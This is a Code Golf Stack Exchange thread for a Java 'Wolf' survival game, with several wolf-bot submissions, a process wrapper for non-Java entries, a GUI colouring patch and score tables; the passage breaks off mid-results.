been removed because of performance issues. The results will simply appear a few moments after you run. The non-Java submissions are commented out because they require extra downloads and effort. Use this to test your submission against the field. * **Wolf.txt** - A naive implementation of the Wolf class in Java. You may use and expand that implementation without crediting me. To test your class: * Download Wild.zip * Rename your Wolf.java and Wolf class to something unique * Add your UniquelyNamedWolf.java file to Wild\src\animals\ * In the Wild class, add your class to `classes` array, like this. + `Class[] classes = { UniquelyNamedWolf.class, Bear.class, Lion.class, Stone.class, Wolf.class };` * Rebuild and run I also included another project containing all of the submissions, for testing purposes. I creatively named it "WildPopulated". The three or four non-Java wolves were commented out, because getting them to run requires a lot of extra work and downloads. The one I posted should run with *zero* extra work. The GUI was also commented out for the sake of speed. # Scoreboard April 22, 2014 [The Scoreboard has been moved to Google Drive. View it here.](https://docs.google.com/spreadsheet/ccc?key=0At-BgC2f4NV-dGoxNnVnMEpxaTNxRGxPXzFuVmpGWWc&usp=sharing) It will be updated on a casual basis (i.e., when I get to it) as new submissions come in. # Side Challenge - NoHOLD Removed because no (as in zero) participation. It wasn't part of the original challenge anyway. [Answer] ## EmoWolf EmoWolf hates Java, and would rather kill itself than participate. EmoWolf has starved itself, but still weighs 177 bytes. ``` package animals;public class EmoWolf extends Animal{public EmoWolf(){super('W');}public Attack fight(char opponent){return Attack.SUICIDE;}public Move move(){return Move.HOLD;}} ``` [Answer] ## LazyWolf Aptly named, this guy does the bare minimum to survive. The only non-wolf threat is a lion, so he will move if one of those is about to step on him. Other than that, he just sleeps. There's not much you can do against wolves that will be better than 50/50, so he just doesn't do anything. If a wolf attacks him, he chooses an attack in an evenly distributed manner. That's it. I expect it to do pretty well, despite the simplicity. ``` package animals; public class LazyWolf extends Animal{ static int last = 0; static final Attack[] attacks = Attack.values(); public LazyWolf() {super('W');} @Override public Attack fight(char other) { switch(other){ case 'B': case 'L': return Attack.SCISSORS; case 'S': return Attack.ROCK; // faker! default: return attacks[last++%3]; } } @Override public Move move() { if(surroundings[0][1] == 'L') return Move.LEFT; if(surroundings[1][0] == 'L') return Move.UP; return Move.HOLD; } } ``` **Update:** [CamoWolf](https://codegolf.stackexchange.com/a/25390/14215) was beating me handily. Since my wolf is so lazy, he'll *never* normally run into a real stone. Therefore, if a stone attacks, it's obviously a fake and needs a rock thrown in its face. [Answer] # Wrapper for Non-Java Submissions **NOTE** MAP\_SIZE support has been added. If you care, please update your submission accordingly. This is community wiki entry for a wrapper, usable by those who want to play but don't like/don't know Java. Please use it, have fun, and I'm happy to help you get things set up. It's pretty late here as I'm finishing up, so other Java coders, please look this over and suggest improvements. If you can, do so via my github repository by filing an issue or submitting a patch. Thanks! This entire is being distributed with the UNLICENSE, please [follow/fork it from its github repository](https://github.com/ProgrammerDan/wolf-process-wrapper/tree/master). Submit patches there if you find issues and I'll update this post. # Current Examples of Wrapper in Use ### [plannapus](https://codegolf.stackexchange.com/users/6741/plannapus): WolfCollectiveMemory in R * [Download and Install R](http://cran.r-project.org/mirrors.html) * [Get the GIST here](https://gist.github.com/ProgrammerDan/9991616) ### [user3188175](https://codegolf.stackexchange.com/users/14986/user3188175): SmartWolf in `C#` * [Get both the Wolf and Wrapper here](https://codegolf.stackexchange.com/a/25511/17546) ### [toothbrush](https://codegolf.stackexchange.com/users/15022/toothbrush): Toothbrush in ECMAScript * [Download and install Node.js](http://nodejs.org/download/) * [Get the GIST here](https://gist.github.com/ProgrammerDan/10436886) # How to use What follows are instructions on the protocol for-inter process communication via PIPES I have defined for remote Wolves. Note I've skipped MAP\_SIZE as this doesn't appear to exist, in spite of its presence in OP's problem statement. If it does appear, I'll update this post. **IMPORTANT NOTES**: * Only a single invocation of your external process will be made (so wrap your processing logic in an infinite loop. This also lets you keep any processing in-memory, instead of using disk) * All communication is to this single external process via STDIN and STDOUT * You must explicitly flush all output sent to STDOUT, and make sure it is newline-terminated # Specification Remote scripts are supported by a simple protocol via STDIN and STDOUT hooks, and is split into initialization, Move, and Attack. In each case communication with your process will be via STDIN, and a reply is necessary from STDOUT. If a reply is not received in 1 second, your process will be assumed to be dead and an exception will be thrown. All characters will be encoded in UTF-8, for consistency. Every input will terminate with a newline character, and your process should terminate every output reply with a newline as well. **WARNING** Be sure to flush your output buffer after every write, to ensure the Java wrapper sees your output. Failure to flush may cause your remote Wolf to fail. Note that only a single process will be created, all Wolves must be managed within that one process. Read on for how this spec will help. ### Initialization **STDIN:** `S<id><mapsize>`\n **STDOUT:** `K<id>`\n **`<id>`:** `00` or `01` or ... or `99` Explanation: The character `S` will be sent followed by two numeric characters `00`, `01`, ..., `99` indicating which of the 100 wolves is being initialized. In all future communication with that specific wolf, the same `<id>` will be used. Following the ID, a variable length sequence of numeric characters will be be sent. This is the size of the map. You'll know the sequence of numeric characters is over when you reach the newline (`\n`). To ensure your process is alive, you must reply with the character `K` followed by the same `<id>` you received. Any other reply will result in an exception, killing your wolves. ### Movement **STDIN:** `M<id><C0><C1>...<C7><C8>`\n **STDOUT:** `<mv><id>`\n **`<Cn>`:** `W` or or `B` or `S` or `L` **`W`:** Wolf **:** Empty Space **`B`:** Bear **`S`:** Stone **`L`:** Lion **`<mv>`:** `H` or `U` or `L` or `R` or `D` **`H`:** Move.HOLD **`U`:** Move.UP **`L`:** Move.LEFT **`R`:** Move.RIGHT **`D`:** Move.DOWN Explanation: The character `M` will be sent followed by the two character `<id>` to indicate which Wolf needs to choose a move. Following that, 9 characters will be sent representing that Wolf's surroundings, in row order (top row, middle row, bottom row from leftmost to rightmost). Reply with one of the valid movement characters `<mv>`, followed by the Wolf's two digit `<id>` for confirmation. ### Attack **STDIN:** `A<id><C>`\n **STDOUT:** `<atk><id>`\n **`<C>`:** `W` or `B` or `S` or `L` **`<atk>`:** `R` or `P` or `S` or `D` **`R`:** Attack.ROCK **`P`:** Attack.PAPER **`S`:** Attack.SCISSORS **`D`:** Attack.SUICIDE Explanation: The character `A` will be sent followed by the two character `<id>` to indicate which Wolf is participating in an attack. This is followed by a single character `<C>` indicating which type of thing is attacking, either a `W`olf, `B`ear, `S`tone, or `L`ion. Reply with one of the `<atk>` characters listed above, indicating what your response to the attack is, following by the two digit `<id>` for confirmation. And that's it. There's no more to it. If you lose an attack, that `<id>` will never be sent to your process again, that's how you will know your Wolf has died -- if a complete Movement round has passed without that `<id>` ever being sent. # Conclusion Note that any exceptions will kill all the Wolves of your remote type, as only a single "Process" is constructed of your remote wolf, for all wolves of your type that get created. In this repository you'll find the `Wolf.java` file. Search and replace the following strings to set up your bot: * Replace `<invocation>` with the command line argument that will properly execute your process. * Replace `<custom-name>` with a unique name for your Wolf. * For an example [look at the repository](https://github.com/ProgrammerDan/wolf-process-wrapper/tree/master), where I have `WolfRandomPython.java` that invokes my example remote, the `PythonWolf.py` (a Python 3+ Wolf). * Rename the file to be `Wolf<custom-name>.java`, where `<custom-name>` is replaced with the name you chose above. To test your Wolf, compile the Java program (`javac Wolf<custom-name>.java`), and follow Rusher's instructions to include it in the simulation program. **Important:** Be sure to provide *clear*, *concise* instructions on how to compile/execute your actual Wolf, which follows the scheme I've outlined above. Good luck, and may nature be ever in your favor. # The Wrapper Code Remember, you MUST do the searches and replaces outlined about for this to work. If your invocation is particularly hairy, please contact me for assistance. Note there is a `main` method in this wrapper, to allow rudimentary "pass/fail" testing on your local box. To do so, download the Animal.java class from the project, and remove the `package animals;` line from both files. Replace the MAP\_SIZE line in Animal.java with some constant (like 100). Compile them using `javac Wolf<custom-name>.java` an execute via `java Wolf<custom-name>`. ``` package animals; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.OutputStreamWriter; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.Callable; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import java.util.concurrent.ExecutionException; import java.util.concurrent.ThreadPoolExecutor; /** * Remote Wolf<custom-name> wrapper class. */ public class Wolf<custom-name> extends Animal { /** * Simple test script that sends some typical commands to the * remote process. */ public static void main(String[]args){ Wolf<custom-name>[] wolves = new Wolf<custom-name>[100]; for(int i=0; i<10; i++) { wolves[i] = new Wolf<custom-name>(); } char map[][] = new char[3][3]; for (int i=0;i<9;i++) map[i/3][i%3]=' '; map[1][1] = 'W'; for(int i=0; i<10; i++) { wolves[i].surroundings=map; System.out.println(wolves[i].move()); } for(int i=0; i<10; i++) { System.out.println(wolves[i].fight('S')); System.out.println(wolves[i].fight('B')); System.out.println(wolves[i].fight('L')); System.out.println(wolves[i].fight('W')); } wolfProcess.endProcess(); } private static WolfProcess wolfProcess = null; private static Wolf<custom-name>[] wolves = new Wolf<custom-name>[100]; private static int nWolves = 0; private boolean isDead; private int id; /** * Sets up a remote process wolf. Note the static components. Only * a single process is generated for all Wolves of this type, new * wolves are "initialized" within the remote process, which is * maintained alongside the primary process. * Note this implementation makes heavy use of threads. */ public Wolf<custom-name>() { super('W'); if (Wolf<custom-name>.wolfProcess == null) { Wolf<custom-name>.wolfProcess = new WolfProcess(); Wolf<custom-name>.wolfProcess.start(); } if (Wolf<custom-name>.wolfProcess.initWolf(Wolf<custom-name>.nWolves, MAP_SIZE)) { this.id = Wolf<custom-name>.nWolves; this.isDead = false; Wolf<custom-name>.wolves[id] = this; } else { Wolf<custom-name>.wolfProcess.endProcess(); this.isDead = true; } Wolf<custom-name>.nWolves++; } /** * If the wolf is dead, or all the wolves of this type are dead, SUICIDE. * Otherwise, communicate an attack to the remote process and return * its attack choice. */ @Override public Attack fight(char opponent) { if (!Wolf<custom-name>.wolfProcess.getRunning() || isDead) { return Attack.SUICIDE; } try { Attack atk = Wolf<custom-name>.wolfProcess.fight(id, opponent); if (atk == Attack.SUICIDE) { this.isDead = true; } return atk; } catch (Exception e) { System.out.printf("Something terrible happened, this wolf has died: %s", e.getMessage()); isDead = true; return Attack.SUICIDE; } } /** * If the wolf is dead, or all the wolves of this type are dead, HOLD. * Otherwise, get a move from the remote process and return that. */ @Override public Move move() { if (!Wolf<custom-name>.wolfProcess.getRunning() || isDead) { return Move.HOLD; } try { Move mv = Wolf<custom-name>.wolfProcess.move(id, surroundings); return mv; } catch (Exception e) { System.out.printf("Something terrible happened, this wolf has died: %s", e.getMessage()); isDead = true; return Move.HOLD; } } /** * The shared static process manager, that synchronizes all communication * with the remote process. */ static class WolfProcess extends Thread { private Process process; private BufferedReader reader; private PrintWriter writer; private ExecutorService executor; private boolean running; public boolean getRunning() { return running; } public WolfProcess() { process = null; reader = null; writer = null; running = true; executor = Executors.newFixedThreadPool(1); } public void endProcess() { running = false; } /** * WolfProcess thread body. Keeps the remote connection alive. */ public void run() { try { System.out.println("Starting Wolf<custom-name> remote process"); ProcessBuilder pb = new ProcessBuilder("<invocation>".split(" ")); pb.redirectErrorStream(true); process = pb.start(); System.out.println("Wolf<custom-name> process begun"); // STDOUT of the process. reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8")); System.out.println("Wolf<custom-name> reader stream grabbed"); // STDIN of the process. writer = new PrintWriter(new OutputStreamWriter(process.getOutputStream(), "UTF-8")); System.out.println("Wolf<custom-name> writer stream grabbed"); while(running){ this.sleep(0); } reader.close(); writer.close(); process.destroy(); // kill it with fire. executor.shutdownNow(); } catch (Exception e) { e.printStackTrace(); System.out.println("Wolf<custom-name> ended catastrophically."); } } /** * Helper that invokes a read with a timeout */ private String getReply(long timeout) throws TimeoutException, ExecutionException, InterruptedException{ Callable<String> readTask = new Callable<String>() { @Override public String call() throws Exception { return reader.readLine(); } }; Future<String> future = executor.submit(readTask); return future.get(timeout, TimeUnit.MILLISECONDS); } /** * Sends an initialization command to the remote process */ public synchronized boolean initWolf(int wolf, int map_sz) { while(writer == null){ try { this.sleep(0); }catch(Exception e){} } boolean success = false; try{ writer.printf("S%02d%d\n", wolf, map_sz); writer.flush(); String reply = getReply(5000l); if (reply != null && reply.length() >= 3 && reply.charAt(0) == 'K') { int id = Integer.valueOf(reply.substring(1)); if (wolf == id) { success = true; } } if (reply == null) { System.out.println("did not get reply"); } } catch (TimeoutException ie) { endProcess(); System.out.printf("Wolf<custom-name> %d failed to initialize, timeout\n", wolf); } catch (Exception e) { endProcess(); System.out.printf("Wolf<custom-name> %d failed to initialize, %s\n", wolf, e.getMessage()); } return success; } /** * Send an ATTACK command to the remote process. */ public synchronized Attack fight(int wolf, char opponent) { Attack atk = Attack.SUICIDE; try{ writer.printf("A%02d%c\n", wolf, opponent); writer.flush(); String reply = getReply(1000l); if (reply.length() >= 3) { int id = Integer.valueOf(reply.substring(1)); if (wolf == id) { switch(reply.charAt(0)) { case 'R': atk = Attack.ROCK; break; case 'P': atk = Attack.PAPER; break; case 'S': atk = Attack.SCISSORS; break; case 'D': atk = Attack.SUICIDE; break; } } } } catch (TimeoutException ie) { endProcess(); System.out.printf("Wolf<custom-name> %d failed to attack, timeout\n", wolf); } catch (Exception e) { endProcess(); System.out.printf("Wolf<custom-name> %d failed to attack, %s\n", wolf, e.getMessage()); } return atk; } /** * Send a MOVE command to the remote process. */ public synchronized Move move(int wolf, char[][] map) { Move move = Move.HOLD; try{ writer.printf("M%02d", wolf); for (int row=0; row<map.length; row++) { for (int col=0; col<map[row].length; col++) { writer.printf("%c", map[row][col]); } } writer.print("\n"); writer.flush(); String reply = getReply(1000l); if (reply.length() >= 3) { int id = Integer.valueOf(reply.substring(1)); if (wolf == id) { switch(reply.charAt(0)) { case 'H': move = Move.HOLD; break; case 'U': move = Move.UP; break; case 'L': move = Move.LEFT; break; case 'R': move = Move.RIGHT; break; case 'D': move = Move.DOWN; break; } } } } catch (TimeoutException ie) { endProcess(); System.out.printf("Wolf<custom-name> %d failed to move, timeout\n", wolf); } catch (Exception e) { endProcess(); System.out.printf("Wolf<custom-name> %d failed to move, %s\n", wolf, e.getMessage()); } return move; } } } ``` [Answer] # HerjanWolf Updated 10-4-2014 at 15:00 Averages of 100 rounds, 1000 iterations: Standard mobs: ``` class animals.Bear - 2.2600002 class animals.Lion - 41.21 class animals.Stone - 20.159998 class animals.HerjanWolf - 99.99 <-- kind of flawless ``` 20+ Species (Keep in mind, don't trust these scores since we keep calculating avgs until our wolves score best!) ``` class animals.Bear - 0.1 class animals.Lion - 0.0 class animals.Stone - 1.5 class animals.AlphaWolf - 75.5 class animals.HerjanWolf - 86.4 <-- #1 class animals.GatheringWolf - 39.5 class animals.OmegaWolf - 85.4 <-- #2 class animals.ShadowWolf - 71.1 class animals.MOSHPITFRENZYWolf - 8.8 class animals.WolfWithoutFear - 11.5 class animals.MimicWolf - 0.5 class animals.LazyWolf - 52.8 class animals.Sheep - 38.3 class animals.HonorWolf - 80.7 class animals.CamperWolf - 52.8 class animals.GamblerWolf - 14.7 class animals.WolfRunningWithScissors - 0.0 class animals.LionHunterWolf - 27.6 class animals.StoneEatingWolf - 70.8 class animals.Wion - 0.1 class animals.ProAlpha - 79.3 class animals.HybridWolf - 83.2 ``` My Wolf: ``` package animals; public class HerjanWolf extends Animal { private boolean lionTopLeft = false, lionTopLeftReady = false; private boolean lionRight = false, lionRightReady = false; private boolean lionBot = false, lionBotReady = false; private boolean lionDanger = false, careful = true, firstmove = true; private final int hold = 0, down = 1, right = 2, left = 3, up = 4; public HerjanWolf() { super('W'); } public Attack fight(char c){ switch (c) { case 'B': return Attack.SCISSORS; case 'L': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: int rand = (int) (Math.random()*3); if(rand < 1) return Attack.PAPER; else if(rand < 2) return Attack.SCISSORS; else return Attack.ROCK; } } public Move move() { //surroundings[y][x] checkLions(); if(firstmove){ if(surroundings[2][0] == 'L') lionBotReady = true; if(surroundings[0][2] == 'L') lionRightReady = true; firstmove = false; } int[] dang = new int[4]; // 0 is left side, 1 is top side, 2 is right side, 3 is down side for(int y = 0; y < 3; y++){ for(int x = 0; x < 3; x++){ if(surroundings[y][x] == 'W'){ if(y == 0){ dang[1]++; if(x == 1) dang[1]+=2; }if(y == 2){ dang[3]++; if(x == 1) dang[3]+=2; }if(x == 0){ dang[0]++; if(y == 1) dang[0]+=2; }if(x == 2){ dang[2]++; if(y == 1) dang[2]+=2; } } } } int maxIndex = 0, minIndex = 0, minIndex2 = 0; for(int i = 1; i < dang.length; i++){ if(dang[i] > dang[maxIndex]) maxIndex = i; if(dang[i] <= dang[minIndex]){ minIndex2 = minIndex; minIndex = i; } } if(lionDanger || surroundings[1][0] == 'L' && lionTopLeftReady || surroundings[0][1] == 'L' && lionTopLeftReady || dang[maxIndex] >= 3){ switch(minIndex){ case 0: if (isSafe(1, 0)){ newMove(left); return Move.LEFT; } case 1: if (isSafe(0, 1)){ newMove(up); return Move.UP; } case 2: if(isSafe(1,2)){ newMove(right); return Move.RIGHT; } case 3: if (isSafe(2, 1)){ newMove(down); return Move.DOWN; } } switch(minIndex2){ case 0: if (isSafe(1, 0)){ newMove(left); return Move.LEFT; } case 1: if (isSafe(0, 1)){ newMove(up); return Move.UP; } case 2: if(isSafe(1,2)){ newMove(right); return Move.RIGHT; } case 3: if (isSafe(2, 1)){ newMove(down); return Move.DOWN; } } if(dang[maxIndex]<3){ //if that was not the reason its really obligated (because of lions) if (isSafe(2, 1)){ newMove(down); return Move.DOWN; }else if(isSafe(1,2)){ newMove(right); return Move.RIGHT; }else if (isSafe(0, 1)){ newMove(up); return Move.UP; }else{ newMove(left); return Move.LEFT; } } } return Move.HOLD; } boolean isSafe(int y, int x){ if(y <= 1){ if(x <= 1){ if(surroundings[y][x] != 'W' && !lionTopLeft) return true; }else if(surroundings[1][2] != 'W' && !lionRightReady) return true; }else if(surroundings[2][1] != 'W' && !lionBotReady) return true; return false; } public void checkLions(){ int y = 0, x = 0; if(lionTopLeft) lionTopLeftReady = true; else lionTopLeftReady = false; if(surroundings[y][x] == 'L') lionTopLeft = true; else lionTopLeft = false; if(lionRight) lionRightReady = true; else lionRightReady = false; if(surroundings[y][x+1] == 'L') // && !lionTopLeftReady lionRight = true; else lionRight = false; if(lionBot) lionBotReady = true; else lionBotReady = false; if(surroundings[y+1][x] == 'L' && !lionTopLeftReady) lionBot = true; else lionBot = false; if(careful){ if(surroundings[y+1][x] == 'L'){ lionDanger = true; }else if(surroundings[y][x+1] == 'L'){ lionDanger = true; } careful = false; } } public void newMove(int move){ lionTopLeft = false; lionRight = false; lionBot = false; lionTopLeftReady = false; lionRightReady = false; lionBotReady = false; lionDanger = false; if(move == down){ if(surroundings[1][0] == 'L') lionTopLeft = true; if(surroundings[2][0] == 'L') lionBot = true; }else if(move == right){ if(surroundings[0][1] == 'L') lionTopLeft = true; if(surroundings[0][2] == 'L') lionRight = true; }else careful = true; } } ``` [Answer] # CamoWolf Abusing the required code format. ``` // Optional code here public class Wolf extends Animal { // Optional code here public Wolf() { super('W'); // Optional code here } public Attack fight(char opponent) { // Required code here. Must return an Attack. } public Move move() { // Required code here. Must return a Move. } // Optional code here } ``` So, my wolf is really smart, and he camouflages as a stone instead! Blending in with the environment is always a good survival tactic! ``` public class Wolf extends Animal { private Move lastMove; public Wolf() { super('S'); lastMove = Move.RIGHT; } /* public Wolf() { super('W'); } public Attack fight(char opponent) { */ public Attack fight(char opponent) { switch(opponent) { case 'B': return Attack.SCISSORS; case 'S': return Attack.PAPER; case 'W': return Attack.SCISSORS; // Here's an explanation why: // the wolves will see me and think I'm a rock. // Therefore, they'll attack with paper. // So, I'll use scissors instead! case 'L': return Attack.SCISSORS; } } public Move move() { // First we run away from any lions that we see, since they are the only threat if (surroundings[0][1] == 'L') { if (isSafe(surroundings[2][1])) return lastMove = Move.DOWN; else if (isSafe(surroundings[1][0])) return lastMove = Move.LEFT; else return lastMove = Move.RIGHT; } if (surroundings[1][0] == 'L') { if (isSafe(surroundings[1][2])) return lastMove = Move.RIGHT; else if (isSafe(surroundings[0][1])) return lastMove = Move.UP; else return lastMove = Move.DOWN; } // If there's no (threatening) lions in sight, be lazy. return lastMove = Move.HOLD; } private boolean isSafe(char c) { return (c != 'L' && c != 'W') } } ``` **Update**: Added new `isSafe` check to also be safe from LazyWolf! Ha! **Update 2**: Supposedly, being lazy is also a good survival tactic, so that's what mine does now. Doesn't move unless threatened by a lion. `lastMove` isn't needed anymore, but I kept it anyway just in case I change the code again. [Answer] ## GatheringWolf My *wolves* live in a group. They gather, if the lions let them. They're not so good at surviving, though. **Update:** If a lion force them away, they now try to regather! ![Screenshot of the result of GatheringWolf](https://i.stack.imgur.com/CvzTN.png) ``` package animals; import java.util.*; public class GatheringWolf extends Animal { private static int iteration; private static Move preferredMove; private int localIteration; private int loneliness; private boolean dangerFlag; private Move lastMove; public GatheringWolf() { super('W'); } @Override public Attack fight(char other) { switch (other) { case 'B': case 'L': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: return Attack.values()[(int) (Math.random() * 3)]; } } @Override public Move move() { if (localIteration == iteration) { localIteration++; iteration++; preferredMove = Math.random() < 0.5 ? Move.DOWN : Move.RIGHT; } else localIteration = iteration; EnumSet<Move> moves = EnumSet.allOf(Move.class); if (surroundings[0][1] == 'W') moves.remove(Move.UP); if (surroundings[1][0] == 'W') moves.remove(Move.LEFT); if (surroundings[2][1] == 'W') moves.remove(Move.DOWN); if (surroundings[1][2] == 'W') moves.remove(Move.RIGHT); if (surroundings[0][0] == 'L') { moves.remove(Move.UP); moves.remove(Move.LEFT); } if (surroundings[0][1] == 'L') moves.remove(Move.UP); if (surroundings[1][0] == 'L') moves.remove(Move.LEFT); if (surroundings[0][2] == 'L') moves.remove(Move.RIGHT); if (surroundings[2][0] == 'L') moves.remove(Move.DOWN); if (surroundings[0][1] == 'L' || surroundings[1][0] == 'L') if (moves.size() > 1) { moves.remove(Move.HOLD); dangerFlag = true; } int wolfNear = -1; for (char[] a : surroundings) for (char c : a) if (c == 'W') wolfNear++; boolean enoughWolfNear = wolfNear >= (Math.random() < 0.9 ? 1 : 2); if (moves.contains(Move.HOLD) && enoughWolfNear) { loneliness = 0; dangerFlag = false; return lastMove = Move.HOLD; } else loneliness++; if (loneliness > 10) { EnumSet<Move> preferred = EnumSet.copyOf(moves); preferred.retainAll(EnumSet.of(preferredMove, Move.HOLD)); if (!preferred.isEmpty()) moves = preferred; } if (loneliness == 2 && dangerFlag) { Move reverted = Move.values()[lastMove.ordinal() ^ 0b10]; dangerFlag = false; if (moves.contains(reverted)) return lastMove = reverted; } if (moves.contains(Move.HOLD)) dangerFlag = false; if (moves.contains(preferredMove)) moves.remove(preferredMove == Move.DOWN ? Move.RIGHT : Move.DOWN); int n = (int) (Math.random() * moves.size()); Iterator<Move> ite = moves.iterator(); while (n-- > 0) ite.next(); return lastMove = ite.next(); } } ``` [Answer] # The Sheep in Wolf's Clothing Runs away. It prioritizes running away from Wolves the most, since they're going to be the most dangerous. Next are Lions, since they're nondeterministic. Bears and Stones are both not at all a problem, but we still run away from them if we have nothing better to do because a Wolf killing a Bear or a Stone is, at that moment in time, not a Wolf killing a Sheep. I haven't yet tested it against LazyWolf, but I have it on good authority that it kicks EmoWolf's ass. ;) (Please forgive me if this code is terrible, I've haven't ever touched Java for much more than a Hello World program before.) ``` package animals; import java.util.Arrays; import java.util.HashMap; import java.util.Map; public class Sheep extends Animal { public Sheep() { super('W'); } private static final Map<Character, Integer> AnimalWeights; static{ AnimalWeights = new HashMap<>(); AnimalWeights.put('W', -3); AnimalWeights.put('S', -1); AnimalWeights.put(' ', 0); AnimalWeights.put('H', 1); AnimalWeights.put('L', -2); AnimalWeights.put('B', -1); } @Override public Attack fight(char c) { switch (c) { case 'B': return Attack.SCISSORS; case 'L': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: return Attack.PAPER; } } @Override public Move move() { int xWeight = 0; int yWeight = 0; // Northwest xWeight += AnimalWeights.get(surroundings[0][0]); yWeight += AnimalWeights.get(surroundings[0][0]); // North yWeight += AnimalWeights.get(surroundings[0][1]); // Northeast xWeight -= AnimalWeights.get(surroundings[0][2]); yWeight += AnimalWeights.get(surroundings[0][2]); // West xWeight += AnimalWeights.get(surroundings[1][0]); // East xWeight -= AnimalWeights.get(surroundings[1][2]); // Southwest xWeight += AnimalWeights.get(surroundings[2][0]); yWeight -= AnimalWeights.get(surroundings[2][0]); // South yWeight -= AnimalWeights.get(surroundings[2][1]); // Southeast xWeight -= AnimalWeights.get(surroundings[2][2]); yWeight -= AnimalWeights.get(surroundings[2][2]); if (Math.abs(xWeight) < Math.abs(yWeight)) { if (yWeight > 0) { return Move.UP; } else { return Move.DOWN; } } else if (Math.abs(yWeight) < Math.abs(xWeight)) { if (xWeight > 0) { return Move.RIGHT; } else { return Move.LEFT; } } // Sit still if no one's around return Move.HOLD; } } ``` [Answer] Not an entry, just want to contribute to the GUI by adding color code for each class =D ### Result ![Colored GUI](https://i.stack.imgur.com/mRvSi.png) ### Wild.java Change the code around `game.populate(c,100)` with: ``` String[] colors = generateColors(classes.length); int idx = 0; for(Class c : classes){ Animal.setColor(c, colors[idx]); idx++; game.populate(c, 100); } stats.update(); ``` with the `generateColors` defined as: ``` private static String[] generateColors(int n){ String[] result = new String[n]; double maxR = -1000; double minR = 1000; double maxG = -1000; double minG = 1000; double maxB = -1000; double minB = 1000; double[][] colors = new double[n][3]; for(int i=0; i<n; i++){ double cos = Math.cos(i * 2 * Math.PI / classes.length); double sin = Math.sin(i * 2 * Math.PI / classes.length); double bright = 1; colors[i][0] = bright + sin/0.88; colors[i][1] = bright - 0.38*cos - 0.58*sin; colors[i][2] = bright + cos/0.49; maxR = Math.max(maxR, colors[i][0]); minR = Math.min(minR, colors[i][0]); maxG = Math.max(maxG, colors[i][1]); minG = Math.min(minG, colors[i][1]); maxB = Math.max(maxB, colors[i][2]); minB = Math.min(minB, colors[i][2]); } double scaleR = 255/(maxR-minR); double scaleG = 255/(maxG-minG); double scaleB = 255/(maxB-minB); for(int i=0; i<n; i++){ int R = (int)Math.round(scaleR*(colors[i][0]-minR)); int G = (int)Math.round(scaleG*(colors[i][1]-minG)); int B = (int)Math.round(scaleB*(colors[i][2]-minB)); result[i] = "#"+String.format("%02x%02x%02x", R, G, B); } return result; } ``` which algorithm is taken from [this StackOverflow answer](https://stackoverflow.com/a/10731340/895932) With the `color` and `setColor` being defined in Animal.java ### Animal.java ``` public static HashMap<Class, String> color = new HashMap<Class, String>(); public static void setColor(Class animalClass, String animalColor){ color.put(animalClass, animalColor); } ``` Then update the `toString` methods in Game.java and Statistics.java: ### Game.java ``` public String toString() { String s = "<html>"; for (ArrayList<ArrayList<Animal>> row : board) { for (ArrayList<Animal> cell : row) { if (cell.isEmpty()) s += "&nbsp;&nbsp;"; else s += "<span style='color:"+ Animal.color.get(cell.get(0).getClass()) +"'>" + cell.get(0).letter + "</span>&nbsp;"; } s+="<br>"; } return s + "</html>"; } ``` ### Statistics.java ``` public String toString() { String s = "<html>"; for (int i = 0; i < classes.length; i++) { s += "<span style='color:" + Animal.color.get(classes[i]) + "'>" + classes[i] + "</span>&nbsp;-&nbsp;" + living[i] + "<br>"; } return s + "</html>"; } ``` [Answer] # AlphaWolf Time to shine! My other wolf CamperWolf was very thin, now comes AlphaWolf, who is more muscular! Instead of dodging lions the standard way, it swaps the field with them. It also assigns dangers-values to each surrounding field. ``` package animals; import java.util.Random; public class AlphaWolf extends Animal{ private Boolean lionMoveDown = true; public AlphaWolf() { super('W'); } @Override public Attack fight(char opponent) { switch(opponent){ case 'B': case 'L': return Attack.SCISSORS; case 'S': return Attack.PAPER; default: return randomAttack(); } } @Override public Move move() { int[] danger = new int[4]; final int wolfsDanger = 4; lionMoveDown = !lionMoveDown; if(surroundings[0][1] == 'L' && lionMoveDown) { return Move.UP; } if(surroundings[1][0] == 'L'&& !lionMoveDown) { return Move.LEFT; } if(surroundings[0][1] == 'W') { danger[0] += wolfsDanger; } if(surroundings[1][2] == 'W') { danger[1] += wolfsDanger; } if(surroundings[2][1] == 'W') { danger[2] += wolfsDanger; } if(surroundings[1][0] == 'W') { danger[3] += wolfsDanger; } if(surroundings[0][0] == 'W') { danger[0]++; danger[3]++; } if(surroundings[0][2] == 'W') { danger[0]++; danger[1]++; } if(surroundings[2][2] == 'W') { danger[1]++; danger[2]++; } if(surroundings[1][2] == 'W') { danger[2]++; danger[3]++; } Boolean shouldMove = false; Move bestMove = Move.HOLD; int leastDanger = 4; for(int i = 0; i < 4; i++) { if (danger[i] < leastDanger) { bestMove = Move.values()[i]; } if(danger[i] > 3) { shouldMove = true; } } if(shouldMove) { return bestMove; } else { return Move.HOLD; } } public Attack randomAttack() { Random rand = new Random(); switch (rand.nextInt(3)){ case 1: return Attack.SCISSORS; case 2: return Attack.ROCK; default: return Attack.PAPER; } } } ``` It is not very beautiful code, but in my tests it worked very well against all java wolves. [Answer] # DeepWolf I put way too much time into this... Anyways, this wolf uses "deep" analytics, collecting and using as much environmental data as I could think of for it to use. The analysis operates on a mixture of wolf-specific knowledge, like known locations of lions and wolves and predictions of future locations, and pack hivemind knowledge, like estimated populations, wolf battle history, and danger of colliding with an animal opponent when moving. It's also extra massive, because in addition to having lots of logic, I went overboard on object-oriented design and have lots of special-purpose classes and methods. I ran 100 iterations of the game for 1000 steps each with many of the popular and best-performing wolves. I purposely left out GamblerWolf because I thought it was a bit cheaty, although it shouldn't affect my wolf, anyways. Here's the average, maximum, and minimum performance data: ``` Averages: Bear 0.0 Lion 0.0 Stone 3.51 Wolf 1.56 AlphaWolf 77.05 CamperWolf 69.17 DeepWolf 90.48 EmoWolf 39.92 GatheringWolf 52.15 HerjanWolf 86.55 HonorWolf 86.76 HybridWolf 86.78 LazyWolf 71.11 LionHunterWolf 32.45 MimicWolf 0.4 MOSHPITFRENZYWolf 8.95 OmegaWolf 88.67 ProAlpha 83.28 Sheep 54.74 StoneEatingWolf 75.29 WolfWithoutFear 11.9 Maxes: Bear 0 Lion 0 Stone 9 